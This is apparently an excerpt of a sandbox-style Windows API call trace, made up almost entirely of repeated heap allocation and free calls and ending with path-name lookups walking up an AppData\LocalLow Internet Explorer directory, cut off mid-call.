HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2feba20 | out: hHeap=0x670000) returned 1 [0061.749] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feba20 [0061.749] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.749] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.749] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2feba20 | out: hHeap=0x670000) returned 1 [0061.749] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feba20 [0061.749] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.749] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.749] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2feba20 | out: hHeap=0x670000) returned 1 [0061.749] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feba20 [0061.749] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.749] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.749] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2feba20 | out: hHeap=0x670000) returned 1 [0061.749] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feba20 [0061.749] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.749] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.749] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2feba20 | out: hHeap=0x670000) returned 1 [0061.749] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feba20 [0061.749] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.749] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.749] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2feba20 | out: hHeap=0x670000) returned 1 [0061.749] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feba20 [0061.749] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.749] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.749] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2feba20 | out: hHeap=0x670000) returned 1 [0061.749] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feba20 [0061.749] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.749] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0061.749] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.749] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0061.749] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2feba20 | out: hHeap=0x670000) returned 1 [0061.750] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feba20 [0061.750] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.750] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.750] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2feba20 | out: hHeap=0x670000) returned 1 [0061.750] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feba20 [0061.750] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.750] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0061.750] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.750] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0061.750] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2feba20 | out: hHeap=0x670000) returned 1 [0061.750] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feba20 [0061.750] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0061.750] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0061.750] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2feba20 | out: hHeap=0x670000) returned 1 [0061.750] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feba20 [0061.750] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0061.750] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0061.750] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2feba20 | out: hHeap=0x670000) returned 1 [0061.750] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feba20 [0061.750] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.750] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.750] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2feba20 | out: hHeap=0x670000) returned 1 [0061.750] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feba20 [0061.750] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.750] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.750] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2feba20 | out: hHeap=0x670000) returned 1 [0061.750] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feba20 [0061.750] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.750] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0061.750] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.750] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0061.751] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2feba20 | out: hHeap=0x670000) returned 1 [0061.751] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feba20 [0061.751] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.751] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.751] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2feba20 | out: hHeap=0x670000) returned 1 [0061.751] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feba20 [0061.751] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.751] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.751] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2feba20 | out: hHeap=0x670000) returned 1 [0061.751] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feba20 [0061.751] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.751] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.751] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2feba20 | out: hHeap=0x670000) returned 1 [0061.751] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feba20 [0061.751] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.751] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.751] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2feba20 | out: hHeap=0x670000) returned 1 [0061.751] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feba20 [0061.751] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.751] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.751] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2feba20 | out: hHeap=0x670000) returned 1 [0061.751] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feba20 [0061.751] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.751] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.751] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2feba20 | out: hHeap=0x670000) returned 1 [0061.751] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feba20 [0061.751] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.751] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.751] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2feba20 | out: hHeap=0x670000) returned 1 [0061.751] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feba20 [0061.751] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.752] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.752] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2feba20 | out: hHeap=0x670000) returned 1 [0061.752] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feba20 [0061.752] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.752] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.752] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2feba20 | out: hHeap=0x670000) returned 1 [0061.752] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feba20 [0061.752] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.752] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0061.752] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.752] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0061.752] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2feba20 | out: hHeap=0x670000) returned 1 [0061.752] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feba20 [0061.752] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.752] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.752] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2feba20 | out: hHeap=0x670000) returned 1 [0061.752] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feba20 [0061.752] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0061.752] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0061.752] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2feba20 | out: hHeap=0x670000) returned 1 [0061.752] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feba20 [0061.752] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0061.752] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0061.752] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2feba20 | out: hHeap=0x670000) returned 1 [0061.752] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feba20 [0061.752] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.752] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.752] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2feba20 | out: hHeap=0x670000) returned 1 [0061.752] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feba20 [0061.752] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.753] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.753] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2feba20 | out: hHeap=0x670000) returned 1 [0061.753] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feba20 [0061.753] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.753] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0061.753] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.753] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0061.753] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2feba20 | out: hHeap=0x670000) returned 1 [0061.753] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feba20 [0061.753] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.753] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.753] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2feba20 | out: hHeap=0x670000) returned 1 [0061.753] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feba20 [0061.753] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.753] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.753] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2feba20 | out: hHeap=0x670000) returned 1 [0061.753] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feba20 [0061.753] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.753] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.753] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2feba20 | out: hHeap=0x670000) returned 1 [0061.753] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feba20 [0061.753] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.753] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.753] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2feba20 | out: hHeap=0x670000) returned 1 [0061.753] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feba20 [0061.753] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.753] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.753] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2feba20 | out: hHeap=0x670000) returned 1 [0061.753] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feba20 [0061.753] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.753] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.754] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2feba20 | out: hHeap=0x670000) returned 1 [0061.754] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feba20 [0061.754] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.754] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.754] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2feba20 | out: hHeap=0x670000) returned 1 [0061.754] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feba20 [0061.754] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.754] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.754] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2feba20 | out: hHeap=0x670000) returned 1 [0061.754] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feba20 [0061.754] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.754] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.754] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2feba20 | out: hHeap=0x670000) returned 1 [0061.754] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feba20 [0061.754] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.754] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0061.754] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.754] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0061.754] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2feba20 | out: hHeap=0x670000) returned 1 [0061.754] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feba20 [0061.754] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.754] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.754] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2feba20 | out: hHeap=0x670000) returned 1 [0061.754] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feba20 [0061.754] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0061.754] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0061.754] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2feba20 | out: hHeap=0x670000) returned 1 [0061.754] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feba20 [0061.754] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0061.754] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0061.754] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2feba20 | out: hHeap=0x670000) returned 1 [0061.755] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feba20 [0061.755] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.755] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.755] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2feba20 | out: hHeap=0x670000) returned 1 [0061.755] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feba20 [0061.755] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.755] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.755] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2feba20 | out: hHeap=0x670000) returned 1 [0061.755] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feba20 [0061.755] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.755] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0061.755] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.755] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0061.755] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2feba20 | out: hHeap=0x670000) returned 1 [0061.755] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feba20 [0061.755] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.755] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.755] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2feba20 | out: hHeap=0x670000) returned 1 [0061.755] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feba20 [0061.755] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.755] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.755] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2feba20 | out: hHeap=0x670000) returned 1 [0061.755] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feba20 [0061.755] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.755] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.755] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2feba20 | out: hHeap=0x670000) returned 1 [0061.755] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feba20 [0061.755] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.755] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.755] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2feba20 | out: hHeap=0x670000) returned 1 [0061.755] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feba20 [0061.756] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.756] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.756] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2feba20 | out: hHeap=0x670000) returned 1 [0061.756] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feba20 [0061.756] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.756] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.756] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2feba20 | out: hHeap=0x670000) returned 1 [0061.756] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feba20 [0061.756] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\Services\\") returned="Services\\" [0061.756] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5770 [0061.756] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee830 [0061.756] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2feba20 | out: hHeap=0x670000) returned 1 [0061.756] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\") returned="Internet Explorer\\" [0061.756] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4898 [0061.756] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5770 | out: hHeap=0x670000) returned 1 [0061.756] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e920 [0061.756] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee830 | out: hHeap=0x670000) returned 1 [0061.756] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0061.756] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5d40 [0061.756] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e920 | out: hHeap=0x670000) returned 1 [0061.756] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0061.756] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x30d09c8 [0061.756] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5d40 | out: hHeap=0x670000) returned 1 [0061.756] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0061.756] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30180d0 [0061.756] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d09c8 | out: hHeap=0x670000) returned 1 [0061.756] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0061.756] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5770 [0061.756] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30180d0 | out: hHeap=0x670000) returned 1 [0061.756] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0061.756] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5770 | out: hHeap=0x670000) returned 1 [0061.757] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0061.757] PathFindFileNameW (pszPath="") returned="" [0061.757] RtlAllocateHeap 